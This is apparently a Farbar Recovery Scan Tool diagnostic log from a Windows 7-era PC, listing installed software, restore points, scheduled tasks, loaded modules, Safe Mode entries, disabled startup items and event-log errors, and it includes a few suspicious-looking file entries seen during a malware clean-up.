Microsoft Office 2007 Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Microsoft Office Access database engine 2007 (English) (HKLM-x32\...\{90120000-00D1-0409-0000-0000000FF1CE}) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office Access MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Access Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office Enterprise 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Excel MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Groove MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Groove Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office InfoPath MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Office 64-bit Components 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office OneNote MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Outlook MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office PowerPoint MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (French) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (Spanish) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proofing (English) 2007 (x32 Version: 12.0.4518.1014 - Microsoft Corporation) Hidden
Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Microsoft Office Publisher MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared 64-bit MUI (English) 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Word MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.20513.0 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable Package (x32 Version: 1.0.0 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
MPM (HKLM-x32\...\{B5A4C902-1636-48DB-8E38-F0DB102DDB59}) (Version: 1.00.0000 - Hewlett-Packard)
MSXML 4.0 SP2 (KB954430) (HKLM-x32\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
MSXML 4.0 SP2 (KB973688) (HKLM-x32\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
MSXML 4.0 SP2 Parser and SDK (HKLM-x32\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)
Network64 (Version: 140.0.215.000 - Hewlett-Packard) Hidden
OCR Software by I.R.I.S. 14.0 (HKLM\...\HPOCR) (Version: 14.0 - HP)
PowerBoat Guide 2012 (HKLM-x32\...\PowerBoat Guide 2012) (Version: 2012 - American Marine Publishing, Inc.)
PowerBoat Guide 2013 (HKLM-x32\...\PowerBoat Guide 2013) (Version: 2013 - American Marine Publishing, Inc.)
ProductContext (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 7.49.927.2011 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6526 - Realtek Semiconductor Corp.)
Samsung Easy Printer Manager (HKLM-x32\...\Samsung Easy Printer Manager) (Version: 1.02.06.07 - Samsung Electronics Co., Ltd.)
Samsung ML-2160 Series (HKLM-x32\...\Samsung ML-2160 Series) (Version: 1.08 (8/24/2012) - Samsung Electronics Co., Ltd.)
Samsung Printer Live Update (HKLM-x32\...\Samsung Printer Live Update) (Version: 1.01.00.04 - Samsung Electronics Co., Ltd.)
Scan (x32 Version: 140.0.167.000 - Hewlett-Packard) Hidden
Shop for HP Supplies (HKLM\...\Shop for HP Supplies) (Version: 14.0 - HP)
SmartWebPrinting (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
SolutionCenter (x32 Version: 140.0.214.000 - Hewlett-Packard) Hidden
Status (x32 Version: 140.0.256.000 - Hewlett-Packard) Hidden
TeamViewer 9 (HKLM-x32\...\TeamViewer 9) (Version: 9.0.29947 - TeamViewer)
Toolbox (x32 Version: 140.0.428.000 - Hewlett-Packard) Hidden
TrayApp (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
Update for 2007 Microsoft Office System (KB967642) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{C444285D-5E4F-48A4-91DD-47AAAA68E92D}) (Version:  - Microsoft)
Update for Microsoft .NET Framework 4 Client Profile (KB2468871) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2468871) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Client Profile (KB2533523) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2533523) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Client Profile (KB2600217) (HKLM-x32\...\{F5B09CFD-F0B2-36AF-8DF4-1DF6B63FC7B4}.KB2600217) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2468871) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2468871) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2533523) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2533523) (Version: 1 - Microsoft Corporation)
Update for Microsoft .NET Framework 4 Extended (KB2600217) (HKLM-x32\...\{8E34682C-8118-31F1-BC4C-98CD9675E1C2}.KB2600217) (Version: 1 - Microsoft Corporation)
Update for Microsoft Office 2007 suites (KB2596620) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{A024FC7B-77DE-45DE-A058-1C049A17BFB3}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596660) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{620E77C0-CDFE-4C14-AAEB-830ABB65864C}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596802) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{525A4A44-8940-40AD-ABA0-14501199D2F0}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2596848) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{8153EC80-C988-4336-8DAF-6D99C0D26E0C}) (Version:  - Microsoft)
Update for Microsoft Office 2007 suites (KB2767916) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{E9A82945-BA29-4EE8-8F2A-2F49545E9CF2}) (Version:  - Microsoft)
Update for Microsoft Office Outlook 2007 (KB2687404) 32-Bit Edition (HKLM-x32\...\{90120000-001A-0409-0000-0000000FF1CE}_ENTERPRISE_{ED38F8A3-4F61-494E-8BCA-E3AC7760C924}) (Version:  - Microsoft)
Update for Microsoft Office Outlook 2007 Junk Email Filter (KB2768021) 32-Bit Edition (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{2FAC8CEF-F191-4A30-A107-F33D92D52AEE}) (Version:  - Microsoft)
WebReg (x32 Version: 140.0.213.017 - Hewlett-Packard) Hidden
Win2PDF 7 (HKLM\...\Win2PDF_is1) (Version: 7.5.13 - Dane Prairie Systems, LLC.)
Windows Live ID Sign-in Assistant (HKLM\...\{9B48B0AC-C813-4174-9042-476A887592C7}) (Version: 6.500.3165.0 - Microsoft Corporation)
 
==================== Restore Points  =========================
 
08-07-2014 13:28:43 Checkpoint by HitmanPro
08-07-2014 13:31:43 Checkpoint by HitmanPro
08-07-2014 15:23:55 Restore Operation
08-07-2014 15:46:19 Removed SpyHunter
08-07-2014 15:53:53 Restore Operation
08-07-2014 16:17:38 Norton_Power_Eraser_20140708121733086
08-07-2014 16:25:06 Restore Operation
 
==================== Hosts content: ==========================
 
2009-07-13 22:34 - 2014-07-09 21:20 - 00000027 ____A C:\Windows\system32\Drivers\etc\hosts
127.0.0.1       localhost
 
==================== Scheduled Tasks (whitelisted) =============
 
Task: {0635D1E8-DB93-48D0-9757-5F3250714A15} - System32\Tasks\Microsoft_MKC_Logon_Task_ipoint.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2013-01-29] (Microsoft Corporation)
Task: {102DC434-0DB9-4D71-A3B5-E6FDB68E398B} - System32\Tasks\Microsoft_MKC_Logon_Task_itype.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2013-01-29] (Microsoft Corporation)
Task: {12DA9622-A807-41D4-83FC-F1E8E13ECB90} - System32\Tasks\Apple\AppleSoftwareUpdate => C:\Program Files (x86)\Apple Software Update\SoftwareUpdate.exe [2011-06-01] (Apple Inc.)
Task: {14D006E8-DDE4-4667-88CC-A1FAADEE1FA8} - System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {2478AFAC-D054-49C1-BBBA-123D94DE79B7} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-04-12] (Google Inc.)
Task: {2B0DEF35-D8EA-4B24-B2CB-8BB8FDEBC4E7} - System32\Tasks\CCleanerSkipUAC => C:\Program Files\CCleaner\CCleaner.exe [2014-06-24] (Piriform Ltd)
Task: {524066CC-057C-422C-AEFF-E5AC4B70541F} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-04-12] (Google Inc.)
Task: {5F9D76DD-7E86-4771-9721-7099C930C4ED} - System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {6DE5F355-F4AC-44B1-A89C-5CF3FE813E16} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2014-05-13] (Adobe Systems Incorporated)
Task: {BE333838-C61F-4858-9EFB-78101E13A0B2} - System32\Tasks\Microsoft_Hardware_Launch_mousekeyboardcenter_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\mousekeyboardcenter.exe [2013-01-29] (Microsoft)
Task: {DB49D25D-A7CE-40F4-AE44-5AF49C79E19A} - System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {DE35D852-E9E8-4DF1-99AD-8F02A2095A73} - System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3} => C:\Program Files (x86)\Adobe\Reader 8.0\Reader\AcroRd32.exe
Task: {E8E7FF48-745A-4B73-8D08-70FF4F55CCD5} - System32\Tasks\Microsoft_Hardware_Launch_itype_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2013-01-29] (Microsoft Corporation)
Task: {F3425394-A20F-41DC-BEC9-0F5EA311EA29} - System32\Tasks\Microsoft_Hardware_Launch_ipoint_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2013-01-29] (Microsoft Corporation)
Task: {F5B1D493-954F-4F26-9B19-E655FF5E73A4} - System32\Tasks\{0F91A0D9-06EF-4DEA-8CDC-169F8A8FEB74} => Chrome.exe 
Task: C:\Windows\Tasks\Adobe Flash Player Updater.job => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
 
==================== Loaded Modules (whitelisted) =============
 
2011-04-25 14:24 - 2011-04-25 14:24 - 00034304 _____ () C:\Windows\System32\ssj1mlm.dll
2013-04-12 13:23 - 2013-02-20 12:25 - 00077976 _____ () C:\Windows\System32\win2pdfm.dll
2013-11-18 06:33 - 2013-11-18 06:23 - 00265080 _____ () C:\Program Files\Bitdefender\Endpoint\txmlutil.dll
2010-01-02 10:42 - 2010-01-02 10:42 - 00098304 _____ () C:\Program Files (x86)\FileZilla FTP Client\fzshellext_64.dll
2012-10-05 13:50 - 2012-10-05 13:50 - 01212928 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\ssj1mdu.dll
2011-11-14 20:17 - 2011-11-14 20:17 - 00153680 _____ () C:\Program Files\Bitdefender\Endpoint\bdfwcore.dll
2013-11-26 14:49 - 2014-02-05 16:10 - 00266592 _____ () C:\Program Files\Common Files\Bitdefender\Endpoint Agent\zlib.dll
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2012-11-29 17:59 - 2012-11-29 17:59 - 00093696 _____ () C:\Program Files (x86)\FileZilla FTP Client\fzshellext.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00716616 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\libglesv2.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00126280 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\libegl.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 04217672 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\pdf.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 00414536 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\ppGoogleNaClPluginChrome.dll
2014-06-12 20:02 - 2014-06-05 09:58 - 01732424 _____ () C:\Program Files (x86)\Google\Chrome\Application\35.0.1916.153\ffmpegsumo.dll
 
==================== Alternate Data Streams (whitelisted) =========
 
AlternateDataStreams: C:\ProgramData\TEMP:0FF263E8
 
==================== Safe Mode (whitelisted) ===================
 
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\21787411.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MSIServer => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\21787411.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MSIServer => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SMR322 => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SMR410 => ""="Service"
 
==================== EXE Association (whitelisted) =============
 
 
==================== MSCONFIG/TASK MANAGER disabled items =========
 
MSCONFIG\Services: AdobeARMservice => 2
MSCONFIG\Services: AdobeFlashPlayerUpdateSvc => 3
MSCONFIG\Services: AMD External Events Utility => 2
MSCONFIG\Services: Apple Mobile Device => 2
MSCONFIG\Services: Bonjour Service => 2
MSCONFIG\Services: DragonSvc => 2
MSCONFIG\Services: gupdate => 2
MSCONFIG\Services: gupdatem => 3
MSCONFIG\Services: iPod Service => 3
MSCONFIG\Services: MBAMScheduler => 2
MSCONFIG\Services: MBAMService => 2
MSCONFIG\Services: SpyHunter 4 Service => 2
MSCONFIG\Services: TeamViewer9 => 2
MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^HP Digital Imaging Monitor.lnk => C:\Windows\pss\HP Digital Imaging Monitor.lnk.CommonStartup
MSCONFIG\startupreg: Adobe Reader Speed Launcher => "C:\Program Files (x86)\Adobe\Reader 8.0\Reader\Reader_sl.exe"
MSCONFIG\startupreg: ATICustomerCare => "C:\Program Files (x86)\ATI\ATICustomerCare\ATICustomerCare.exe"
MSCONFIG\startupreg: DAEMON Tools Lite => "C:\Program Files (x86)\DAEMON Tools Lite\DTLite.exe" -autorun
MSCONFIG\startupreg: DisplaySwitch => "C:\Users\Dennis\AppData\Roaming\Microsoft\Windows\Templates\windrv.exe"
MSCONFIG\startupreg: GrooveMonitor => "C:\Program Files (x86)\Microsoft Office\Office12\GrooveMonitor.exe"
MSCONFIG\startupreg: HP Software Update => C:\Program Files (x86)\HP\HP Software Update\HPWuSchd2.exe
MSCONFIG\startupreg: IntelliPoint => "c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe"
MSCONFIG\startupreg: IntelliType Pro => "c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe"
MSCONFIG\startupreg: ISUSPM => C:\ProgramData\FLEXnet\Connect\11\ISUSPM.exe -scheduler
MSCONFIG\startupreg: RtHDVCpl => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe -s
MSCONFIG\startupreg: StartCCC => "C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CLIStart.exe" MSRun
 
==================== Faulty Device Manager Devices =============
 
Name: Officejet Pro L7600
Description: Officejet Pro L7600
Class Guid: {4d36e971-e325-11ce-bfc1-08002be10318}
Manufacturer: HP
Service: 
Problem: : This device is disabled. (Code 22)
Resolution: In Device Manager, click "Action", and then click "Enable Device". This starts the Enable Device wizard. Follow the instructions.
 
 
==================== Event log errors: =========================
 
Application errors:
==================
Error: (07/10/2014 02:10:02 PM) (Source: Application Error) (EventID: 1005) (User: )
Description: Windows cannot access the file  for one of the following reasons:
there is a problem with the network connection, the disk that the file is stored on, or the storage
drivers installed on this computer; or the disk is missing.
Windows closed the program Internet Explorer because of this error.
 
Program: Internet Explorer
File: 
 
The error value is listed in the Additional Data section.
User Action
1. Open the file again.
This situation might be a temporary problem that corrects itself when the program runs again.
2.
If the file still cannot be accessed and
- It is on the network,
your network administrator should verify that there is not a problem with the network and that the server can be contacted.
- It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for
further assistance.
 
Additional Data
Error value: 00000000
Disk type: 0
 
Error: (07/10/2014 02:10:02 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 9.0.8112.16476, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000096
Fault offset: 0x0cc00347
Faulting process id: 0x2e04
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3
 
Error: (07/10/2014 01:58:49 PM) (Source: Application Error) (EventID: 1005) (User: )
Description: Windows cannot access the file  for one of the following reasons:
there is a problem with the network connection, the disk that the file is stored on, or the storage
drivers installed on this computer; or the disk is missing.
Windows closed the program Internet Explorer because of this error.
 
Program: Internet Explorer
File: 
 
The error value is listed in the Additional Data section.
User Action
1. Open the file again.
This situation might be a temporary problem that corrects itself when the program runs again.
2.
If the file still cannot be accessed and
- It is on the network,
your network administrator should verify that there is not a problem with the network and that the server can be contacted.
- It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for
further assistance.
 
Additional Data
Error value: 00000000
Disk type: 0
 
Error: (07/10/2014 01:58:48 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 9.0.8112.16476, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000096
Fault offset: 0x0c6e0347
Faulting process id: 0x1980
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3
 
Error: (07/10/2014 01:06:11 PM) (Source: Application Error) (EventID: 1005) (User: )
Description: Windows cannot access the file  for one of the following reasons:
there is a problem with the network connection, the disk that the file is stored on, or the storage
drivers installed on this computer; or the disk is missing.
Windows closed the program Internet Explorer because of this error.
 
Program: Internet Explorer
File: 
 
The error value is listed in the Additional Data section.
User Action
1. Open the file again.
This situation might be a temporary problem that corrects itself when the program runs again.
2.
If the file still cannot be accessed and
- It is on the network,
your network administrator should verify that there is not a problem with the network and that the server can be contacted.
- It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for
further assistance.
 
Additional Data
Error value: 00000000
Disk type: 0
 
Error: (07/10/2014 01:06:11 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 9.0.8112.16476, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000096
Fault offset: 0x0c690347
Faulting process id: 0x2190
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3
 
Error: (07/10/2014 01:02:14 PM) (Source: Application Error) (EventID: 1005) (User: )
Description: Windows cannot access the file  for one of the following reasons:
there is a problem with the network connection, the disk that the file is stored on, or the storage
drivers installed on this computer; or the disk is missing.
Windows closed the program Internet Explorer because of this error.
 
Program: Internet Explorer
File: 
 
The error value is listed in the Additional Data section.
User Action
1. Open the file again.
This situation might be a temporary problem that corrects itself when the program runs again.
2.
If the file still cannot be accessed and
- It is on the network,
your network administrator should verify that there is not a problem with the network and that the server can be contacted.
- It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for
further assistance.
 
Additional Data
Error value: 00000000
Disk type: 0
 
Error: (07/10/2014 01:02:14 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 9.0.8112.16476, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000096
Fault offset: 0x0caa0347
Faulting process id: 0x3444
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3
 
Error: (07/10/2014 00:57:29 PM) (Source: Application Error) (EventID: 1005) (User: )
Description: Windows cannot access the file  for one of the following reasons:
there is a problem with the network connection, the disk that the file is stored on, or the storage
drivers installed on this computer; or the disk is missing.
Windows closed the program Internet Explorer because of this error.
 
Program: Internet Explorer
File: 
 
The error value is listed in the Additional Data section.
User Action
1. Open the file again.
This situation might be a temporary problem that corrects itself when the program runs again.
2.
If the file still cannot be accessed and
- It is on the network,
your network administrator should verify that there is not a problem with the network and that the server can be contacted.
- It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for
further assistance.
 
Additional Data
Error value: 00000000
Disk type: 0
 
Error: (07/10/2014 00:57:29 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Faulting application name: iexplore.exe, version: 9.0.8112.16476, time stamp: 0x4a5bc6b7
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000096
Fault offset: 0x0cd50347
Faulting process id: 0x1570
Faulting application start time: 0xiexplore.exe0
Faulting application path: iexplore.exe1
Faulting module path: iexplore.exe2
Report Id: iexplore.exe3
 
 
System errors:
=============
Error: (07/10/2014 02:05:58 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)
Description: The following fatal alert was generated: 40. The internal error state is 107.
 
Error: (07/10/2014 02:05:58 PM) (Source: Schannel) (EventID: 4106) (User: NT AUTHORITY)
Description: An SSL 3.0 connection request was received from a remote client application, but none of the cipher suites supported by the client application are supported by the server. The SSL connection request has failed.
 
Error: (07/10/2014 02:05:57 PM) (Source: Schannel) (EventID: 4120) (User: NT AUTHORITY)
Description: The following fatal alert was generated: 40. The internal error state is 107.
 
Error: (07/10/2014 02:05:57 PM) (Source: Schannel) (EventID: 4106) (User: NT AUTHORITY)
Description: An SSL 3.0 connection request was received from a remote client application, but none of the cipher suites supported by the client application are supported by the server. The SSL connection request has failed.
 
Error: (07/10/2014 09:40:18 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/10/2014 06:09:26 AM) (Source: DCOM) (EventID: 10010) (User: )
Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
 
Error: (07/10/2014 01:48:21 AM) (Source: Service Control Manager) (EventID: 7031) (User: )
Description: The Bitdefender Endpoint Host Service service terminated unexpectedly.  It has done this 1 time(s).  The following corrective action will be taken in 43200000 milliseconds: Restart the service.
 
Error: (07/09/2014 09:54:49 PM) (Source: Service Control Manager) (EventID: 7006) (User: )
Description: The ScRegSetValueExW call failed for Start with the following error: 
%%5
 
Error: (07/09/2014 09:54:49 PM) (Source: Service Control Manager) (EventID: 7006) (User: )
Description: The ScRegSetValueExW call failed for Start with the following error: 
%%5
 
Error: (07/09/2014 09:54:48 PM) (Source: Service Control Manager) (EventID: 7006) (User: )
Description: The ScRegSetValueExW call failed for Start with the following error: 
%%5
 
 
Microsoft Office Sessions:
=========================
 
CodeIntegrity Errors:
===================================
  Date: 2014-07-09 21:07:48.764
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.728
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.691
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 21:07:48.653
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.251
  Description: Windows is unable to verify the image integrity of the file \Device\HarddiskVolume2\ComboFix\catchme.sys because file hash could not be found on the system. A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.
 
  Date: 2014-07-09 09:41:56.214
